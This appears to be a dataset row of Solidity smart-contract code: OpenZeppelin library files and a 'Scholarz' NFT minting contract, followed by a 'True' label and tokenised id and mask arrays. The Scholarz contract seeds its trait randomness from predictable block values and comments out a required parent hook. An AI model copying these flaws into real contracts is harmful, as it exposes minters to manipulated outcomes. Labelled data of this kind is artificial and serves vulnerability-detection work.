function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
9413,
2278,
2581,
17465,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
19888,
9888,
1013,
14925,
5104,
2050,
1012,
14017,
1000,
1025,
12324,
1000,
2524,
12707,
1013,
10122,
1012,
14017,
1000,
1025,
3206,
6097,
2003,
9413,
2278,
2581,
17465,
1010,
2219,
3085,
1063,
2478,
7817,
2005,
21318,
3372,
17788,
2575,
1025,
2478,
14925,
5104,
2050,
2005,
27507,
16703,
1025,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1027,
1014,
1025,
5164,
2797,
1035,
19204,
15058,
9496,
1027,
1000,
16770,
1024,
1013,
1013,
18804,
1012,
4274,
1012,
2208,
1013,
6097,
1013,
1000,
1025,
4769,
2797,
1035,
3696,
6906,
14141,
8303,
1027,
1014,
18684,
4246,
23833,
7959,
7959,
2620,
2278,
2620,
2475,
2546,
21926,
2509,
29292,
18827,
2692,
2278,
2683,
2575,
2278,
22203,
24594,
2063,
2575,
2581,
2549,
2278,
21619,
2509,
11057,
1025,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
2797,
1035,
2109,
8540,
9623,
1025,
9570,
2953,
1006,
1007,
9413,
2278,
2581,
17465,
1006,
1000,
18804,
16070,
3229,
4003,
1000,
1010,
1000,
6097,
1000,
1007,
1063,
1065,
3853,
23325,
6494,
3619,
18908,
3258,
1006,
4769,
4604,
2121,
1007,
2797,
5760,
5651,
1006,
27507,
16703,
1007,
1063,
27507,
16703,
23325,
1027,
17710,
16665,
2243,
17788,
2575,
1006,
11113,
2072,
1012,
4372,
16044,
23947,
2098,
1006,
1000,
1032,
1060,
16147,
11031,
7869,
2819,
2772,
4471,
1024,
1032,
1050,
16703,
1000,
1010,
17710,
16665,
2243,
17788,
2575,
1006,
11113,
2072,
1012,
4372,
16044,
23947,
2098,
1006,
4604,
2121,
1007,
1007,
1007,
1007,
1025,
2709,
23325,
1025,
1065,
3853,
2674,
4215,
16200,
4757,
5332,
10177,
2099,
1006,
27507,
16703,
23325,
1010,
27507,
3638,
8085,
1007,
2797,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
2709,
1035,
3696,
6906,
14141,
8303,
1027,
1027,
23325,
1012,
8980,
1006,
8085,
1007,
1025,
1065,
3853,
12927,
1006,
27507,
16703,
23325,
1010,
27507,
3638,
8085,
1007,
6327,
3477,
3085,
1063,
5478,
1006,
2674,
4215,
16200,
4757,
5332,
10177,
2099,
1006,
23325,
1010,
8085,
1007,
1010,
1000,
2025,
1996,
6149,
3696,
2121,
1000,
1007,
1025,
5478,
1006,
23325,
6494,
3619,
18908,
3258,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1027,
1027,
23325,
1010,
1000,
16542,
23325,
1000,
1007,
1025,
5478,
1006,
999,
1035,
2109,
8540,
9623,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1010,
1000,
2017,
2525,
12927,
2098,
1012,
1000,
1007,
1025,
1035,
2109,
8540,
9623,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
2995,
1025,
21948,
6279,
22086,
1009,
1009,
1025,
1035,
3647,
10020,
2102,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
21948,
6279,
22086,
1007,
1025,
1065,
3853,
4748,
10020,
10020,
2102,
1006,
4769,
5587,
2099,
1010,
21318,
3372,
19204,
3597,
16671,
1007,
6327,
2069,
12384,
2121,
1063,
2005,
1006,
21318,
3372,
17788,
2575,
1045,
1027,
1014,
1025,
1045,
1026,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol";
import '@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721PausableUpgradeable.sol';
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IGenTraitFactory {
function roll(uint seed) external pure returns (uint[9] memory);
}
contract Scholarz is ERC721EnumerableUpgradeable, ERC721PausableUpgradeable, OwnableUpgradeable {
using StringsUpgradeable for uint256;
using ECDSAUpgradeable for bytes32;
uint public constant MAX_GENESIS_AMOUNT = 2500;
uint public constant MAX_UNIQUE_AMOUNT = 25;
uint public constant UNIT_PRICE = 0.125 ether;
uint public whitelistCount;
uint public uniqueCount;
uint public lastTokenId;
uint public startingTime;
uint private _randomSeed;
uint private _randomNonce;
bool public privateSaleActive;
bool public publicSaleActive;
uint[9][MAX_GENESIS_AMOUNT + 1] internal _genTraits;
mapping(address => bool) public eligible;
mapping(string => bool) private usedString; // no longer used
mapping(address => uint) public genBalance;
mapping(address => uint) private solvedCount;
string private _contractURI;
string private _revealedBaseURI;
string private _tokenBaseURI;
address private _signer;
IGenTraitFactory genTraitFactory;
mapping(uint => uint) private tokenSeed;
mapping(bytes32 => bool) public usedKey;
event MintedWithExp(address indexed sender, bytes32 indexed key);
function initialize() public initializer {
__ERC721_init("Scholarz", "SCZ");
__ERC721Enumerable_init();
__Ownable_init();
setBaseURI("ipfs://QmaSt52oWa8WcyG5tN6qAWsSTTK5nUN1zrX8p3RMmNhUkS");
_randomSeed = 10000000000000666666666666600000007;
_randomNonce = 70000000666666666666600000000000001;
_signer = 0xBc9eebF48B2B8B54f57d6c56F41882424d632EA7;
}
function setFactoryAddress(address adr) public onlyOwner {
genTraitFactory = IGenTraitFactory(adr);
}
function setSignerAddress(address adr) public onlyOwner {
_signer = adr;
}
function togglePublicSale() public onlyOwner {
if (!publicSaleActive) {
startingTime = block.timestamp;
}
publicSaleActive = !publicSaleActive;
}
function _getRandomSeed() internal view returns (uint) {
return uint(keccak256(abi.encodePacked(block.difficulty, _randomSeed, block.timestamp, _randomNonce, msg.sender, totalSupply())));
}
function getTraits(uint tokenId) public view returns (uint[9] memory) {
require(_exists(tokenId), "Token does not exist.");
if (tokenSeed[tokenId] != 0) {
return genTraitFactory.roll(tokenSeed[tokenId]);
} else {
return _genTraits[tokenId];
}
}
function _rollUnique(uint seed) internal view returns (bool) {
uint val = seed % (MAX_GENESIS_AMOUNT - totalSupply());
return val < MAX_UNIQUE_AMOUNT - uniqueCount;
}
function _generateUniqueTrait(uint tokenId, uint uniqueId) internal {
_genTraits[tokenId][0] = 0;
for (uint j = 1; j < 9; j++) {
_genTraits[tokenId][j] = uniqueId;
}
}
function _mintScholarz(address minter, uint inputId, bool early) private {
if (early) {
_safeMint(minter, inputId);
genBalance[minter]++;
return;
}
uint seed = _getRandomSeed();
_randomSeed = seed;
_randomNonce++;
uint tokenId = lastTokenId + 1;
if (inputId == 0) {
while (_exists(tokenId)) {
tokenId++;
}
} else {
tokenId = inputId;
}
// check for uniques
if (_rollUnique(seed)) {
uniqueCount++;
_generateUniqueTrait(tokenId, uniqueCount);
} else {
tokenSeed[tokenId] = seed;
}
_safeMint(minter, tokenId);
lastTokenId = tokenId;
genBalance[minter]++;
}
function earlyMint(uint amount, uint[] calldata inputIds, uint[9][] calldata genes) public onlyOwner {
require(amount == inputIds.length, "Amount does not match.");
require(amount == genes.length, "Amount does not match.");
for (uint i = 0; i < amount; i++) {
require(!_exists(inputIds[i]), 'Token ID already exists.');
}
for (uint i = 0; i < amount; i++) {
_mintScholarz(msg.sender, inputIds[i], true);
_genTraits[inputIds[i]] = genes[i];
}
}
function mintWithExp(bytes32 key, bytes calldata signature, uint amount, uint timestamp) public {
require(publicSaleActive, "Public sale has not started.");
require(msg.sender == tx.origin, "Contracts are not allowed to purchase.");
require(totalSupply() + amount <= MAX_GENESIS_AMOUNT, "Purchase exceeds total genesis.");
require(!usedKey[key], "Key has been used.");
require(block.timestamp < timestamp, "Expired mint time.");
require(keccak256(abi.encode(msg.sender, "EXP", amount, timestamp, key)).toEthSignedMessageHash().recover(signature) == _signer, "Invalid signature");
for (uint i = 0; i < amount; i++) {
_mintScholarz(msg.sender, 0, false);
}
usedKey[key] = true;
emit MintedWithExp(msg.sender, key);
}
function transferFrom(address from, address to, uint256 tokenId) public override {
if (tokenId <= MAX_GENESIS_AMOUNT) {
genBalance[from]--;
genBalance[to]++;
}
ERC721Upgradeable.transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override {
if (tokenId <= MAX_GENESIS_AMOUNT) {
genBalance[from]--;
genBalance[to]++;
}
ERC721Upgradeable.safeTransferFrom(from, to, tokenId, _data);
}
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function setContractURI(string memory URI) public onlyOwner {
_contractURI = URI;
}
function setBaseURI(string memory URI) public onlyOwner {
_tokenBaseURI = URI;
}
function setRevealedBaseURI(string memory URI) public onlyOwner {
_revealedBaseURI = URI;
}
function contractURI() public view returns (string memory) {
return _contractURI;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
if (tokenId <= MAX_GENESIS_AMOUNT) {
return bytes(_revealedBaseURI).length > 0 ? string(abi.encodePacked(_revealedBaseURI, tokenId.toString())) : _tokenBaseURI;
} else {
// placeholder for gen+
return "";
}
}
// overwrite supportsInterface due to the removal of the ERC721Enumerable functionality
function supportsInterface(bytes4 interfaceId) public pure override(ERC721EnumerableUpgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId ||
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId;
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override(ERC721EnumerableUpgradeable, ERC721PausableUpgradeable) {
// super._beforeTokenTransfer(from, to, tokenId);
}
function totalSupply() public view override returns(uint) {
return lastTokenId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSAUpgradeable {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
